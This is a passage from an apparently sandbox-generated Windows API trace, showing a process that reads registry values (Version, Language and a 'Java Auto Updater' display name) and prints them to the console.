pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.774] GetProcessHeap () returned 0x3c0000 [0149.774] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.774] GetProcessHeap () returned 0x3c0000 [0149.774] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.774] GetProcessHeap () returned 0x3c0000 [0149.774] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.774] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x2010047, pcbData=0x29f780*=0x4) returned 0x0 [0149.774] __iob_func () returned 0x7fefd702a80 [0149.774] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.774] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.774] _fileno (_File=0x7fefd702ab0) returned 1 [0149.774] _errno () returned 0x204bb0 [0149.774] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.774] _errno () returned 0x204bb0 [0149.774] GetFileType (hFile=0x50) returned 0x1 [0149.774] lstrlenW (lpString=" ") returned 4 [0149.774] GetConsoleOutputCP () returned 0x1b5 [0149.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.775] GetConsoleOutputCP () returned 0x1b5 [0149.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.775] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.775] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.775] lstrlenW (lpString="Version") returned 7 [0149.775] __iob_func () returned 0x7fefd702a80 [0149.775] _fileno (_File=0x7fefd702ab0) returned 1 [0149.775] _errno () returned 0x204bb0 [0149.775] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.775] _errno () returned 0x204bb0 [0149.775] GetFileType (hFile=0x50) returned 0x1 [0149.775] lstrlenW (lpString="Version") returned 7 [0149.775] GetConsoleOutputCP () returned 0x1b5 [0149.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0149.775] GetConsoleOutputCP () returned 0x1b5 [0149.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0149.775] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0149.775] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.776] __iob_func () returned 0x7fefd702a80 [0149.776] _fileno (_File=0x7fefd702ab0) returned 1 [0149.776] _errno () returned 0x204bb0 [0149.776] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.776] _errno () returned 0x204bb0 [0149.776] GetFileType (hFile=0x50) returned 0x1 [0149.776] lstrlenW (lpString=" ") returned 4 [0149.776] GetConsoleOutputCP () returned 0x1b5 [0149.776] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.776] GetConsoleOutputCP () returned 0x1b5 [0149.776] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.776] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.776] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.776] __iob_func () returned 0x7fefd702a80 [0149.776] _fileno (_File=0x7fefd702ab0) returned 1 [0149.776] _errno () returned 0x204bb0 [0149.776] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.776] _errno () returned 0x204bb0 [0149.776] GetFileType (hFile=0x50) returned 0x1 [0149.776] lstrlenW (lpString="REG_DWORD") returned 9 [0149.776] GetConsoleOutputCP () returned 0x1b5 [0149.776] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.776] GetConsoleOutputCP () returned 0x1b5 [0149.777] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.777] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.777] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.777] __iob_func () returned 0x7fefd702a80 [0149.777] _fileno (_File=0x7fefd702ab0) returned 1 [0149.777] _errno () returned 0x204bb0 [0149.777] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.777] _errno () returned 0x204bb0 [0149.777] GetFileType (hFile=0x50) returned 0x1 [0149.777] lstrlenW (lpString=" ") returned 4 [0149.777] GetConsoleOutputCP () returned 0x1b5 [0149.777] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.777] GetConsoleOutputCP () returned 0x1b5 [0149.777] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.777] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.777] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.777] __iob_func () returned 0x7fefd702a80 [0149.777] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.777] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x2010047") returned 9 [0149.777] _fileno (_File=0x7fefd702ab0) returned 1 [0149.777] _errno () returned 0x204bb0 [0149.777] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.777] _errno () returned 0x204bb0 [0149.777] GetFileType (hFile=0x50) returned 0x1 [0149.778] lstrlenW (lpString="0x2010047") returned 9 [0149.778] GetConsoleOutputCP () returned 0x1b5 [0149.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x2010047", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.778] GetConsoleOutputCP () returned 0x1b5 [0149.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x2010047", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x2010047", lpUsedDefaultChar=0x0) returned 9 [0149.778] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.778] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.778] __iob_func () returned 0x7fefd702a80 [0149.778] _fileno (_File=0x7fefd702ab0) returned 1 [0149.778] _errno () returned 0x204bb0 [0149.778] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.778] _errno () returned 0x204bb0 [0149.778] GetFileType (hFile=0x50) returned 0x1 [0149.778] lstrlenW (lpString="\n") returned 1 [0149.778] GetConsoleOutputCP () returned 0x1b5 [0149.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.778] GetConsoleOutputCP () returned 0x1b5 [0149.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.778] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.778] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.779] GetProcessHeap () returned 0x3c0000 [0149.779] GetProcessHeap () returned 0x3c0000 [0149.779] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.779] GetProcessHeap () returned 0x3c0000 [0149.779] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.779] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.779] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.779] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.779] GetProcessHeap () returned 0x3c0000 [0149.779] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.779] GetProcessHeap () returned 0x3c0000 [0149.779] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.779] GetProcessHeap () returned 0x3c0000 [0149.779] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.779] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x409, pcbData=0x29f780*=0x4) returned 0x0 [0149.779] __iob_func () returned 0x7fefd702a80 [0149.779] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.779] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.779] _fileno (_File=0x7fefd702ab0) returned 1 [0149.779] _errno () returned 0x204bb0 [0149.779] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.779] _errno () returned 0x204bb0 [0149.779] GetFileType (hFile=0x50) returned 0x1 [0149.779] lstrlenW (lpString=" ") returned 4 [0149.779] GetConsoleOutputCP () returned 0x1b5 [0149.779] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.779] GetConsoleOutputCP () returned 0x1b5 [0149.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.780] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.780] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.780] lstrlenW (lpString="Language") returned 8 [0149.780] __iob_func () returned 0x7fefd702a80 [0149.780] _fileno (_File=0x7fefd702ab0) returned 1 [0149.780] _errno () returned 0x204bb0 [0149.780] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.780] _errno () returned 0x204bb0 [0149.780] GetFileType (hFile=0x50) returned 0x1 [0149.780] lstrlenW (lpString="Language") returned 8 [0149.780] GetConsoleOutputCP () returned 0x1b5 [0149.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.780] GetConsoleOutputCP () returned 0x1b5 [0149.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0149.780] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.780] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.780] __iob_func () returned 0x7fefd702a80 [0149.780] _fileno (_File=0x7fefd702ab0) returned 1 [0149.780] _errno () returned 0x204bb0 [0149.780] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.780] _errno () returned 0x204bb0 [0149.780] GetFileType (hFile=0x50) returned 0x1 [0149.780] lstrlenW (lpString=" ") returned 4 [0149.780] GetConsoleOutputCP () returned 0x1b5 [0149.781] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.781] GetConsoleOutputCP () returned 0x1b5 [0149.781] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.781] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.781] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.781] __iob_func () returned 0x7fefd702a80 [0149.781] _fileno (_File=0x7fefd702ab0) returned 1 [0149.781] _errno () returned 0x204bb0 [0149.781] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.781] _errno () returned 0x204bb0 [0149.781] GetFileType (hFile=0x50) returned 0x1 [0149.781] lstrlenW (lpString="REG_DWORD") returned 9 [0149.781] GetConsoleOutputCP () returned 0x1b5 [0149.781] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.781] GetConsoleOutputCP () returned 0x1b5 [0149.781] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.781] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.781] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.781] __iob_func () returned 0x7fefd702a80 [0149.781] _fileno (_File=0x7fefd702ab0) returned 1 [0149.781] _errno () returned 0x204bb0 [0149.781] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.782] _errno () returned 0x204bb0 [0149.782] GetFileType (hFile=0x50) returned 0x1 [0149.782] lstrlenW (lpString=" ") returned 4 [0149.782] GetConsoleOutputCP () returned 0x1b5 [0149.782] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.782] GetConsoleOutputCP () returned 0x1b5 [0149.782] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.782] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.782] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.782] __iob_func () returned 0x7fefd702a80 [0149.782] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.782] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x409") returned 5 [0149.782] _fileno (_File=0x7fefd702ab0) returned 1 [0149.782] _errno () returned 0x204bb0 [0149.782] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.782] _errno () returned 0x204bb0 [0149.782] GetFileType (hFile=0x50) returned 0x1 [0149.782] lstrlenW (lpString="0x409") returned 5 [0149.782] GetConsoleOutputCP () returned 0x1b5 [0149.782] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0149.782] GetConsoleOutputCP () returned 0x1b5 [0149.783] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x409", lpUsedDefaultChar=0x0) returned 5 [0149.783] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0149.783] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.783] __iob_func () returned 0x7fefd702a80 [0149.783] _fileno (_File=0x7fefd702ab0) returned 1 [0149.783] _errno () returned 0x204bb0 [0149.783] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.783] _errno () returned 0x204bb0 [0149.783] GetFileType (hFile=0x50) returned 0x1 [0149.783] lstrlenW (lpString="\n") returned 1 [0149.783] GetConsoleOutputCP () returned 0x1b5 [0149.783] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.783] GetConsoleOutputCP () returned 0x1b5 [0149.783] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.783] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.783] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.783] GetProcessHeap () returned 0x3c0000 [0149.783] GetProcessHeap () returned 0x3c0000 [0149.783] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.783] GetProcessHeap () returned 0x3c0000 [0149.783] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.783] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.784] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.784] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x26) returned 0x0 [0149.784] GetProcessHeap () returned 0x3c0000 [0149.784] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x28) returned 0x3d5c60 [0149.784] GetProcessHeap () returned 0x3c0000 [0149.784] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0149.784] GetProcessHeap () returned 0x3c0000 [0149.784] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x28 [0149.784] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c60, pcbData=0x29f780*=0x26 | out: pdwType=0x29f700*=0x1, pvData="Java Auto Updater", pcbData=0x29f780*=0x24) returned 0x0 [0149.784] __iob_func () returned 0x7fefd702a80 [0149.784] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.784] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.784] _fileno (_File=0x7fefd702ab0) returned 1 [0149.784] _errno () returned 0x204bb0 [0149.784] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.784] _errno () returned 0x204bb0 [0149.784] GetFileType (hFile=0x50) returned 0x1 [0149.784] lstrlenW (lpString=" ") returned 4 [0149.784] GetConsoleOutputCP () returned 0x1b5 [0149.784] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.784] GetConsoleOutputCP () returned 0x1b5 [0149.784] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.784] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.784] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.784] lstrlenW (lpString="DisplayName") returned 11 [0149.784] __iob_func () returned 0x7fefd702a80 [0149.784] _fileno (_File=0x7fefd702ab0) returned 1 [0149.785] _errno () returned 0x204bb0 [0149.785] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.785] _errno () returned 0x204bb0 [0149.785] GetFileType (hFile=0x50) returned 0x1 [0149.785] lstrlenW (lpString="DisplayName") returned 11 [0149.785] GetConsoleOutputCP () returned 0x1b5 [0149.785] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.785] GetConsoleOutputCP () returned 0x1b5 [0149.785] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0149.785] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.785] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.785] __iob_func () returned 0x7fefd702a80 [0149.785] _fileno (_File=0x7fefd702ab0) returned 1 [0149.785] _errno () returned 0x204bb0 [0149.785] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.785] _errno () returned 0x204bb0 [0149.785] GetFileType (hFile=0x50) returned 0x1 [0149.785] lstrlenW (lpString=" ") returned 4 [0149.785] GetConsoleOutputCP () returned 0x1b5 [0149.785] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.785] GetConsoleOutputCP () returned 0x1b5 [0149.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.786] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.786] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.786] __iob_func () returned 0x7fefd702a80 [0149.786] _fileno (_File=0x7fefd702ab0) returned 1 [0149.786] _errno () returned 0x204bb0 [0149.786] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.786] _errno () returned 0x204bb0 [0149.786] GetFileType (hFile=0x50) returned 0x1 [0149.786] lstrlenW (lpString="REG_SZ") returned 6 [0149.786] GetConsoleOutputCP () returned 0x1b5 [0149.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.786] GetConsoleOutputCP () returned 0x1b5 [0149.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.786] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.786] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.786] __iob_func () returned 0x7fefd702a80 [0149.786] _fileno (_File=0x7fefd702ab0) returned 1 [0149.786] _errno () returned 0x204bb0 [0149.786] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.786] _errno () returned 0x204bb0 [0149.786] GetFileType (hFile=0x50) returned 0x1 [0149.786] lstrlenW (lpString=" ") returned 4 [0149.786] GetConsoleOutputCP () returned 0x1b5 [0149.787] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, 